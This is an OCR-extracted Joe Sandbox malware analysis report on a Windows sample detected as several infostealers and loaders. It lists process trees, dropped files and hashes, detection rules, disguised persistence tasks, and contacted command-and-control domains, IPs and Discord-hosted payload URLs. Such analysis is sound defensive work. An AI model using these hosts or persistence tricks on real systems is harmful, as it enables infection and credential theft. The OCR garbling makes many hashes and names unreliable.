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System Behavior
Analysis Process: CFE9H9mdWr.exe PID: 6832 Parent PID: 4768

General
Analysis Process: CFE9H9mdWr.exe PID: 6892 Parent PID: 6832
General
Analysis Process: explorer.exe PID: 3352 Parent PID: 6892
General
File Activities
File Created

File Deleted
File Written

Analysis Process: bsstvub PID: 7000 Parent PID: 664
General
Analysis Process: 12C6.exe PID: 7040 Parent PID: 3352
General
Analysis Process: bsstvub PID: 6956 Parent PID: 7000
General
Analysis Process: 12C6.exe PID: 6176 Parent PID: 7040
General
Analysis Process: B4BD.exe PID: 4036 Parent PID: 3352
General
File Activities
File Created
File Written
File Read
Registry Activities
Analysis Process: 234F.exe PID: 6424 Parent PID: 3352
General
File Activities
File Created
File Read
Registry Activities
Analysis Process: 2E6C.exe PID: 1372 Parent PID: 3352
General
File Activities

File Created
File Written
Analysis Process: 39F6.exe PID: 244 Parent PID: 3352
General
File Activities
File Created

File Written
File Read

Registry Activities
Key Value Created
Analysis Process: 4F44.exe PID: 6980 Parent PID: 3352
General
File Activities

File Created
File Read

Registry Activities
Analysis Process: 5AFD.exe PID: 5660 Parent PID: 3352
General

Analysis Process: dfsvc.exe PID: 6040 Parent PID: 4036
General

Analysis Process: 39F6.exe PID: 6368 Parent PID: 244
General

Analysis Process: 69D3.exe PID: 6156 Parent PID: 3352
General

Analysis Process: DataSvcULtil.exe PID: 2056 Parent PID: 4036
General

Analysis Process: 39F6.exe PID: 4716 Parent PID: 3352
General

Analysis Process: AddIinUtil.exe PID: 6984 Parent PID: 4036

General

Analysis Process: 4F44.exe PID: 7164 Parent PID: 6980

General
Disassembly
Code Analysis
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Windows Analysis Report CFE9H9MdWr.exe

Overview

General Information

Sample CFE9H9mMdWr.exe
Name:

Analysis ID: 511952

MD5: €5a077a9785424..
SHAL: 423bfbe43ac7b30.
SHA256: 8920b1d5b8a3f73.
Infos: MBQAQTQ S

wEE g
-
Ha

Most interesting Screenshot:

Process Tree

= System is wl0x64

. @ CFE9HI9MdWr.exe (PID: 6832 cmdline: 'C:\Users\user\Desktop\CFE9HIMdWr.exe' MD5: C5A077A9785424C21611801DB5DDOF95)

Detection

F MALICIOUS 1

Amadey Raccoon
RedLine
SmokeLoader Vidar

Range: 0-100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e....

Early bird code injection technigue d...

Yara detected AntiVM3
Yara detected Vidar
Yara detected SmokelLoader
dey bot
System process connects to networ...

Yara detected Raccoon Stealer

Detected unpacking (changes PE se...

Antivirus detection for URL or domain
Antivirus detection for dropped file
Yara detected UAC Bypass using C...

DLL reload attack detected

Classification

e (B CFE9HO9mdWr.exe (PID: 6892 cmdline: 'C:\Users\user\Desktop\CFE9HI9mMdWr.exe' MD5: C5A077A9785424C21611801DB5DDOF95)
o [ explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOELD)

. @ 12C6.exe (PID: 7040 cmdline: C:\Users\user\AppData\Local\Temp\12C6.exe MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)
e (B 12C6.exe (PID: 6176 cmdline: C:\Users\user\AppData\Local\Temp\12C6.exe MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)

e B B4BD.exe (PID: 4036 cmdline: C:\Users\user\AppData\Local\Temp\B4BD.exe MD5: F57B28AEC65D4691202B9524F84CC54A)

o [m] dfsvc.exe (PID: 6040 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\dfsvc.exe MD5: 48FD4DD682051712E3E7757C525DED71)

e [B] DataSvcUiil.exe (PID: 2056 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\DataSvcUtil.exe MD5: CCDF8F3B189FFB839B390F695FAE2A6D)
e (B AddinUtil.exe (PID: 6984 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\AddInUtil.exe MD5: 65D30D747EB31E108A36EBC966C1227D)
o B 234F.exe (PID: 6424 cmdline: C:\Users\user\AppData\Local\Temp\234F.exe MD5: 42758E2569239A774BECDB12698B124C)
. E‘ 2E6C.exe (PID: 1372 cmdline: C:\Users\user\AppData\Local\Temp\2E6C.exe MD5: 73252ACB344040DDC5D9CE78A5D3A4C2)
e [ 39F6.exe (PID: 244 cmdline: C:\Users\user\AppData\Local\Temp\39F6.exe MD5: AB823DF932B3C2941A9015848EBDBI7B)
e [ 39F6.exe (PID: 6368 cmdline: 39F6.exe MD5: AB823DF932B3C2941A9015848EBDBI7B)
o [ 4F44.exe (PID: 6980 cmdline: C:\Users\user\AppData\Local\Temp\4F44.exe MD5: 9FA070AF1ED2E1F07ED8CIF6EB2BDD29)
e [ 4F44.exe (PID: 7164 cmdline: C:\Users\user\AppData\Local\Temp\4F44.exe MD5: 9FA070AF1ED2E1F07ED8CIF6EB2BDD29)
. @ 5AFD.exe (PID: 5660 cmdline: C:\Users\user\AppData\Local\Temp\5AFD.exe MD5: 31BE6099D31BDBF1ED339EFFDC1C7064)
. @ 69D3.exe (PID: 6156 cmdline: C:\Users\user\AppData\Local\Temp\69D3.exe MD5: C1EB42674C5E7180ADEFEC71EE8B1D60)
e [ 39F6.exe (PID: 4716 cmdline: 'C:\Users\usen\AppData\Local\Temp\39F6.exe' MD5: AB823DF932B3C2941A9015848EBDBY7B)
. BT bsstvub (PID: 7000 cmdline: C:\Users\user\AppData\Roaming\bsstvub MD5: C5A077A9785424C21611801DB5DDOF95)
e [ bsstvub (PID: 6956 cmdline: C:\Users\user\AppData\Roaming\bsstvub MD5: C5A077A9785424C21611801DB5DDOF95)

= cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Copyright Joe Security LLC 2021
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Source

dump.pcap

dump.pcap

Dropped Files

Source

C:\Users\user\AppData\Local\Temp\DEC6.exe

C:\Users\user\AppData\Local\Temp\234F.exe

C:\Users\user\AppData\Local\Temp\B4BD.exe

C:\Users\user\AppData\Local\Temp\4F44.exe

Memory Dumps

Source

00000028.00000000.514503943.0000000000402000.00000
040.00000001.sdmp

00000027.00000000.494537883.0000000000402000.00000
040.00000001.sdmp

00000024.00000003.473154873.00000000048A0000.00000
004.00000001.sdmp

00000022.00000000.471569387.0000000000402000.00000
040.00000001.sdmp

00000028.00000002.543712814.0000000000402000.00000
040.00000001.sdmp

Unpacked PEs

Source
3.2.CFE9H9mMdWr.exe.400000.0.unpack

34.0.dfsvc.exe.400000.3.unpack
40.0.4F44.exe.400000.5.unpack
39.0.AddInUtil.exe.400000.3.unpack

19.2.bsstvub.400000.0.unpack

Sigma Overview

Copyright Joe Security LLC 2021

Rule Description Author

JoeSecurity_Amadey Yara detected Joe Security
Amadey bot
JoeSecurity_Vidar_2  Yara detected Joe Security
Vidar
Rule Description Author

SUSP_PE_Discord_Attach
ment_Oct21_1

SUSP_PE_Discord_Attach
ment_Oct21_1

SUSP_PE_Discord_Attach
ment_Oct21_1

SUSP_PE_Discord_Attach
ment_Oct21_1

Detects suspicious Florian Roth
executable with

reference to a

Discord

attachment (often

used for malware

hosting on a

legitimate FQDN)

Detects suspicious Florian Roth
executable with

reference to a

Discord

attachment (often

used for malware

hosting on a

legitimate FQDN)

Detects suspicious Florian Roth
executable with

reference to a

Discord

attachment (often

used for malware

hosting on a

legitimate FQDN)

Detects suspicious Florian Roth
executable with

reference to a

Discord

attachment (often

used for malware

hosting on a

legitimate FQDN)

Rule Description Author

JoeSecurity_RedLine  Yara detected Joe Security
RedLine Stealer

JoeSecurity_RedLine  Yara detected Joe Security
RedLine Stealer

JoeSecurity_Raccoon  Yara detected Joe Security
Raccoon Stealer

JoeSecurity_RedLine  Yara detected Joe Security
RedLine Stealer

JoeSecurity_RedLine  Yara detected Joe Security
RedLine Stealer

Click to see the 27 entries

Rule

JoeSecurity_SmokelLoader
2

JoeSecurity_RedLine

JoeSecurity_RedLine

JoeSecurity_RedLine

JoeSecurity_SmokelLoader
2

Description Author
Yara detected Joe Security
SmokelLoader

Yara detected Joe Security
RedLine Stealer

Yara detected Joe Security
RedLine Stealer

Yara detected Joe Security
RedLine Stealer

Yara detected Joe Security
SmokelLoader

Click to see the 46 entries

Strings

Strings

0x7ae95:$x1: https://cdn.discordapp.com/attachments/
0x7af49:$x1: https://cdn.discordapp.com/attachments/
0x7affd:$x1: https://cdn.discordapp.com/attachments/

0x7b0b1:$x1: https://cdn.discordapp.com/attachments/

e o o o

e 0x7a2f9:$x1: https://cdn.discordapp.com/attachments/

.

0x7b593:$x1: https://cdn.discordapp.com/attachments/
0x7b647:$x1: https://cdn.discordapp.com/attachments/

°

.

0x20735:$x1: https://cdn.discordapp.com/attachments/
0x207e9:$x1: https://cdn.discordapp.com/attachments/

.

Strings

Strings
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No Sigma rule has matched

Jbx Signhature Overview

g

Click to jump to signature section

AV Detection:

Yara detected Raccoon Stealer

Antivirus detection for URL or domain
Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for dropped file

=

Exploits:

Yara detected UAC Bypass using CMSTP

]

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Key, Mouse, Clipboard, Microphone and Screen Capturing:

:

Yara detected SmokeLoader

]‘

E-Banking Fraud:

Yara detected Raccoon Stealer

System Summary:

‘]

Data Obfuscation:

=

Detected unpacking (changes PE section rights)

Persistence and Installation Behavior:

=

Yara detected Amadey bot

Hooking and other Techniques for Hiding and Protection:

=

DLL reload attack detected

Copyright Joe Security LLC 2021 Page 6 of 97



Malware Analysis System Evasion:

Yara detected AntiVM3

Anti Debugging:

-

HIPS | PFW | Operating System Protection Evasion:

Early bird code injection technique detected
System process connects to network (likely due to code injection or exploit)

Benign windows process drops PE files

Stealing of Sensitive Information:

Yara detected RedLine Stealer
Yara detected Vidar

Yara detected SmokeLoader
Yara detected Amadey bot

Yara detected Raccoon Stealer

Remote Access Functionality:

ra detected RedLine Stealer
Yara detected Vidar
Yara detected SmokelLoader

Yara detected Raccoon Stealer

Mitre Att&ck Matrix

Privilege Credential Lateral Command
Initial Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Contrc
Valid Native DLL Side- DLL Side- Disable or Modify Input System Time Remote Archive Exfiltration Over Other  Ingress Toc
Accounts API Loading Loading Tools capture [} Discovery Services Collected  Network Medium Transfer [§}

Data

Default Shared Registry Run  Process Deobfuscate/Decode LSASS Account Discovery Remote Input Exfiltration Over Encrypted
Accounts Modules Keys / Startup  Injection [} Files or Memory Desktop Capture [{ Bluetooth Channel
Folder Information Protocol
Domain Exploitation Logon Script | Registry Run Obfuscated Files or  Security File and Directory SMB/Windows Data from Automated Exfiltration Non-Stand:
Accounts for Client (Windows) Keys / Startup Information Account Discovery Admin Shares Network Port
Execution Folder Manager Shared
Drive
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Initial Access Execution

Local
Accounts

Cloud
Accounts

Replication
Through
Removable
Media

External
Remote
Services

Drive-by
Compromise

Exploit Public-
Facing
Application

Supply Chain
Compromise

Compromise
Software

At
(Windows)

Cron

Launchd

Scheduled
Task

Command
and
Scripting
Interpreter

PowerShell

AppleScript

Windows
Command

Dependencies Shell

and
Development
Tools

Persistence

Logon Script
(Mac)

Network
Logon Script

Rc.common

Startup Items

Scheduled
Task/Job

At (Linux)

At (Windows)

Cron

Behavior Graph
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Privilege
Escalation

Logon Script
(Mac)

Network Logon

Script

Rc.common

Startup ltems

Scheduled
Task/Job

At (Linux)

At (Windows)

Cron

Credential

Defense Evasion Access
Software NTDS
Packing
Timestomp LSA
Secrets
DLL Side- Cached
Loading Domain
Credentials
File Deletion DCSync
Masquerading Proc
Filesystem
Virtualization/Sandbox /etc/passwd
Evasion and
letc/shadow
Process Network
Injection a Sniffing
Hidden Files and Input
Directories Capture

Discovery

System Information

Discovery

Query Registry

Security Software

Discovery

Process Discovery

Virtualization/Sandbox

Evasion

Application Window

Discovery

System Owner/User

Discovery

Remote System
Discovery

Lateral
Movement

Distributed
Component
Object Model

SSH

VNC

Windows
Remote
Management

Shared
Webroot

Software
Deployment
Tools

Taint Shared
Content

Replication
Through
Removable
Media

Is Windows Process

Command
Collection Exfiltration and Contrc
Input Scheduled Transfer Non-
Capture Application
Layer
Protocol
Keylogging Data Transfer Size Application
Limits Layer
Protocol
GUI Input  Exfiltration Over C2 Multiband
Capture Channel Communic:
Web Exfiltration Over Commonly
Portal Alternative Protocol Used Port
Capture
Credential Exfiltration Over Application
API Symmetric Encrypted Layer Protc
Hooking Non-C2 Protocol
Data Exfiltration Over Web Protoc
Staged Asymmetric Encrypted
Non-C2 Protocol
Local Data Exfiltration Over File Transfe
Staging Unencrypted/Obfuscated Protocols
Non-C2 Protocol
Remote Exfiltration Over Mail Protoc
Data Physical Medium
Staging
Hide Legend
Legend:
D Process
. Signature
. Created File
Il onsiP info
ﬂ Is Dropped

g

*n

)ES 8

i
i
=

L@ 2 )

Number of created Registry Values
Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Copyright Joe Security LLC 2021 Page 9 of 97



o
2 amp
Droppead
De
e e 0% de owse
e er\Ap % ab
add P
pa
= De 0 be Do 0a
g oe Se age 10 o


https://www.virustotal.com/gui/file/8920b1d5b8a3f73bb010cdd5014602e4d974f2d7ef3e63f25674be6b03a4b21e/detection/f-8920b1d5b8a3f73bb010cdd5014602e4d974f2d7ef3e63f25674be6b03a4b21e-1635138255
https://www.metadefender.com/#!/results/file/bzIxMTAyNEI3RzNlX0R2QmFPaGE4cm15cTFC/regular/analysis
https://www.metadefender.com/#!/results/file/bzE5MTExOUhKUVYzX2NQVzJIcnk0NDJ1NVBibkg/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMTAyNEI3RzNlX0R2QmFPaGE4cm15cTFC/regular/analysis




Source Detection Scanner Label Link

http:/itempuri.org/DetailsDataSet1.xsd 0% Avira URL Cloud safe
http:ifhttps://api.ip.sb/ip 0% URL Reputation safe
http://91.219.236.97/ 0% Avira URL Cloud safe
http:/inusurtal4f.net/ 0% Avira URL Cloud safe

http://193.56.146.214/ 0% Avira URL Cloud safe
http://91.219.236.97//1/f/SZ0UyXwB3dP17Spzhll9/67689860df0c3d84c593h744292fd16b236de234 0% Avira URL Cloud  safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
privacytoolzforyou-6000.top 185.98.87.159 true false high
toptelete.top 104.21.9.146 true false high
mas.to 88.99.75.82 true false high
cdn.discordapp.com 162.159.135.233 true false high
api.2ip.ua 77.123.139.190 true false high
znpst.top 176.123.228.234 true false high
nusurtal4f.net 45.141.84.21 true false high
hajezeyl.top 185.98.87.159 true false high
sysaheu90.top 185.98.87.159 true false high
telegalive.top unknown unknown false high
xacokuo8.top unknown unknown false high

Contacted URLs

Name Malicious Antivirus Detection Reputation
http:// false high
https://cdn.discordapp.com/attachments/893177342426509335/903702020781907998/4D0A6

361.jpg

http:// false high
https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/ABOF9

338.jpg

http:// false high
https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D

0D3.jpg

hitp://nusurtal4f.net/ false e Avira URL Cloud: safe unknown

http:// false high
https://cdn.discordapp.com/attachments/893177342426509335/903575517888925756/6 D9E3

C88.jpg

http://193.56.146.214/ false e Avira URL Cloud: safe unknown
hitp:// false high
https://cdn.discordapp.com/attachments/893177342426509335/903575519373697084/F83CB

811.jpg

URLs from Memory and Binaries

Contacted IPs
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Public

P Domain
185.98.87.159 privacytoolzforyou-
6000.top
45.141.84.21 nusurtal4f.net
193.56.146.214 unknown
162.159.130.233 unknown

Country Flag ASN ASN Name Malicious
Russian Federation - 205840 VM-HOSTINGRU false
Russian Federation - 206728 MEDIALAND-ASRU false
unknown 7] 10753 LVLT-10753US false
United States = 13335 CLOUDFLARENETUS false

104.21.9.146 toptelete.top

United States 13335 CLOUDFLARENETUS false

162.159.135.233
176.123.228.234 znpst.top
93.115.20.139 unknown

Private

P
192.168.2.1

General Information

Joe Sandbox Version:
Analysis ID:

Start date:

Start time:

Joe Sandbox Product:
Overall analysis duration:
Hypervisor based Inspection enabled:
Report type:

Sample file name:
Cookbook file name:
Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Copyright Joe Security LLC 2021

cdn.discordapp.com

United States 13335 CLOUDFLARENETUS false
Kyrgyzstan o] 59527 ASISPACEKG false
Romania [T} 202448 MVPShttpswwwmvpsnetEU  false

34.0.0 Boulder Opal
511952

29.10.2021
20:27:05
CloudBasic

Oh 16m 30s

false

light
CFE9HI9MdWr.exe
default.jbs
Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211
40

» O O O

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

L]
L]
L]
L]

default

Timeout

MAL

mal100.troj.expl.evad. WinEXE@36/23@61/11

Failed

e Successful, ratio: 35.2% (good quality ratio 20.9%)
e Quality average: 31.7%
e Quality standard deviation: 31.7%

e Successful, ratio: 60%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .exe

Show All
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Behavior and APIs

Time

20:28:41

20:29:17

20:29:26

20:29:31
20:29:46
20:29:52
20:29:56

20:30:00

20:30:48

20:31:12

20:31:29

Type
Task Scheduler

Autostart

Autostart

API Interceptor
API Interceptor
Task Scheduler
Task Scheduler

Task Scheduler

Task Scheduler

Task Scheduler

Autostart

Joe Sandbox View | Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppDatal\LocalLow\sqlite3.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Users\user\AppData\Local\Temp\69D3.exe

Description

Run new task: Firefox Default Browser Agent BBC47BCB20EC3466 path: C:\Users\user\AppData\Roaming\bss
tvub

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Chrome C:\Users\user\AppData\Local\Temp\39F6
.exe

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Chrome C:\Users\user\AppData\Local\Temp\39
F6.exe

6x Sleep call for process: 69D3.exe modified
1x Sleep call for process: B4BD.exe modified
Run new task: sqtvvs.exe path: C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe

Run new task: Firefox Default Browser Agent BEBD4AC37E5840BDE path: C:\Users\user\AppData\Roaming\iss
tvub

Run new task: Firefox Default Browser Agent 46990137142F50E8 path: C:\Users\user\AppData\Roaming\wis
tvub

Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\TelemetryServices\fodh
elper.exe

Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\7a76dfa7-f1bc-4e42-b0dd-d708a769ce
24\D210.exe s>--Task

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\7a76d
fa7-flbc-4e42-b0dd-d708a769ce24\D210.exe" --AutoStart

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped
548684
6.3258982851441035

false

12288:BIkKwWdxkh2S+6NKgHZRIsH2taef1LoyGVxN/QcHIfe61S:BIDWWdAxW2SBNT|lY 24eJoyGitl

90B3A4DA757C3251F650333F70B29CBA
9642EB2B69BSEB4025DBAC1F5DBA43D114B468FD

6FE7C3631590FA4AD88C308AB1579404D9ADFFFD12C150F7BA58623F0354EF3E
1F482180BB3560956E047A9F0D255FE7055D031ED6D79AD0DC32C6862098BF44D52019D7BF4231237442E1E2D509D2B809FA4701885423C69A0BB18180BEOOAF

false

Copyright Joe Security LLC 2021
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C:\Users\user\AppDatal\LocalLow\sqlite3.dll

Reputation:

Preview:

unknown

C:\Users\luser\AppData\Local\Microsoft\CLR_v4.0_32\UsagelLogs\39F6.exe.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Local\Temp\39F6.exe

ASCII text, with CRLF line terminators

dropped

520

5.345981753770044

false
12:Q3La’hhkvoDLI4AMWuCqDLI4MWuPk210KbbDLI4MWUPJKiUrRZ910ZKhav:MLUE4K5E4Ks2wKDE4KhK3VZ9pKhk
044A637E42FE9A819D7E43C8504CA769

6FCA27B1A571B73563C8424C84F4F64F3CBCBE2F
E88E04654826CEO0CC7A840745254164DDBD175066D6E4EA6858BFOFE463EBB4

COA74FA4154FASES951BOEEAC5330CA4BAC981FFOAD24C08575A76AD5D99CFB68556B9857C9C8209A1BFCB43F82E00F14962987A18A92A715FA5AD0DA4E4AT 1¢
C

false

unknown

1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.
0.0, Culture=neutral, PublicKkeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.
ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.C
ore\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsagelLogs\B4BD.exe.log

Process:
File Type:
Category:
Size (bytes):

C:\Users\user\AppData\Local\Temp\B4BD.exe
ASCII text, with CRLF line terminators
dropped

1039

Entropy (8bit):  5.365622957937216

Encrypted: false

SSDEEP: 24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE40KFKHK0ZAE4Kzr7K84jE4Ks:MxHKXwYHKhQnoPtHoxHhAHKzvKVjHKs

MD5: AEBCFF33270358D6EC23793128B3EF2F

SHA1L: 5E6B156157EDEA4222A5E0C258AE9ADEBBSCB7CE

SHA-256: 498EABIF855E7CE9B812EAD41339A9475127F0C8E7249033B975071D2292220C

SHA-512: 473111AD332D5E66724AFBOCESA1E1C97890D60484A818D1DB8C2386A99C05BAE6CID5C535DDFB6790BF5707C153502B938BE201393A3D70342A62902E0A3C9

Malicious: false

Reputation: unknown

Preview:
1,"fusion","GAC",0..1,"WIinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_32\System\4f0a7eefa3cd3e0bad8b5ebddbbc72e6\System.ni.dll*,0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561
934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll*,0..3,"System.Configuration,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Configuration\8d67d92724ba49
4b6c7fd089d6f25b48\System.Configuration.ni.dll*,0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assem
bly\Nativelmages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\luser\AppData\Local\Temp\1105.tmp v

Process: C:\Users\user\AppData\Local\Temp\2E6C.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 1622408

Entropy (8bit):  6.298350783524153

Encrypted: false

SSDEEP: 24576:hNZ04UyDzGrVh8xsPCw3/dzcldIndozS35IW1g/kNVSYVEs4j13HLHGIImdV4q:dGrVr3hclvngzS35IWk/LVRHbO

MD5: BFAG689ECA05147AFD466359DD4A144A3

SHAL: B3474BE2B836567420F8DC96512AA303F31C8AFC

SHA-256: B78463B94388FDDB34C03F5DDDD5D542E05CDED6D4E38C6A3588EC2C90F0070B

SHA-512: 8F09781FD585A6DFB8BBC34B9F153B414478B44B28D80A8BOBDC3BED687F3ADABIE6OFO8CCECS5D5A3FD916E3091C845F9D96603749490B1F7001430408F711C

Malicious: false

Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse

e Antivirus: ReversingLabs, Detection: 2%
Reputation: unknown
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https://www.metadefender.com/#!/results/file/bzE5MTExOUhKUVYzX2NQVzJIcnk0NDJ1NVBibkg/regular/analysis

C:\Users\luser\AppData\Local\Temp\1105.tmp 0

Preview:
MZ. ..@.. .L.!This program cannot be run in DOS mode....$.......Lly>@.m.@.m.@.m....@.mg$..@.mg$.IN@.mg$.|.A.mg$.|
.@.mg$.l.@.mg$.m.@.mg$...@.mRich.@.m ....PE..L...s<s. LPal(K S, 8..
LGNLLLT .@....mrdata.h#..

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 344064

Entropy (8bit): 5.99188338211275

Encrypted: false

SSDEEP: 6144:00kWD+3Pz81AWPC4BVZ2LGuSoGZkkdmAzaV/:JZD+/CO4ULGuShkk4m1V/

MDS5: 3B947ED5AABDD775B1AFC31A5C4D39A0

SHA1L: 552AA072522F22A003CADD3BCADSE4EBI81A5CBB

SHA-256: 8245AD87EEABA1F19F658ADEF8A30BIA512760D866B7075BBF205D7A54296234

SHA-512: AE62F33E3BODAE89BBD33481B50E6BAS53F31AD8699D1570C8B03D73C2045E870CBA25A06CC3DCEA07D784CAB88F63C2C335BD262B0722B4461D29AB54357C:
6

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: ReversingLabs, Detection: 45%
Reputation: unknown

Preview:

.......... tolo.
@....lufulac.....@s..

................. P...Ps.?...
.@....rsrc...2...Ps..@..

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 512952

Entropy (8bit):  7.861107666291364

Encrypted: false

SSDEEP: 12288:2w86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+w:2VhdLVg2Zep7njXzPDxC+w

MD5: 42758E2569239A774BECDB12698B124C

SHA1L: 4AB353C4177A69FC9A6F3844852762809591DD2F

SHA-256: E3380DFDD6297AC134BB22C7C1603782F198A5B2164855BF66A95BAE47AB472D

SHA-512: 959A6D4E39BC949F8C92C4213A7DDA424EFF46AACCBCEG553D42863F4341B934CEB14997F67FDC2013D064A09C6134B9A113438347B7DEDF65E3A7E2ADASDEF
8

Malicious: true

Yara Hits: e Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on

a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\234F.exe, Author: Florian Roth

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:

.@.B.co
OS mode....$....... PE...

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 212992

Entropy (8bit):  6.734269361613487

Encrypted: false

SSDEEP: 3072:UJ+Dg6a/6BO0fFI4+uX67vtkdnNcDxzyuEpuVMO6P2+BwvHJI3/RA:FDy/6BOSFI48v2dxzyuEpynVP
MD5: 73252ACB344040DDC5D9CE78A5D3A4C2

SHAL: 3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015

SHA-256: B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49EDG6EFD2A07EB

SHA-512: 1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6EO9F7591448433DC3B01104007808427C3DE
Malicious: true
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Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 80%

Reputation: unknown
Preview:

............. [< TR
.@..@.data...DB.

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: modified

Size (bytes): 859648

Entropy (8bit): 2.9241367623104355

Encrypted: false

SSDEEP: 6144:pkY0668MzX00Jgx6nrBdkBSrBHHHI6t7af9GHOWbcSDkTDhm6Xpic76vneCVvK36:phHmzXaNIWsUwgrNt1E/Z

MDS5: ABB823DF932B3C2941A9015848EBDBI7B

SHA1L: ATE2D46ADA3A42A3D32A96937C316340F2E62A5B

SHA-256: 812D78A50A8DE210DBBCE12FDA210461770B8B928F8B3249DESOECB68055F61E

SHA-512: 59AC83CED7EOA68E7491812B494E715FC19BA2AA25EDBCOB5765792A1DC19432DBF8F5B671EA4EEBF590740C63EE1AS0FE4BOFC716B986F6C5070B920F5C23!
5

Malicious: true

Antivirus: e Antivirus: Avira, Detection: 100%

e Antivirus: Joe Sandbox ML, Detection: 100%
Reputation: unknown

Preview:

L0t (% .90 (% L0
[ 5 S

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 161280

Entropy (8bit):  5.163359140538006

Encrypted: false

SSDEEP: 3072:hj1+ax5s9jVultxylAMzTjSMzTjole1UhCp:hJgjVoeN

MD5: 9FAO070AF1ED2E1F07ED8COF6EB2BDD29

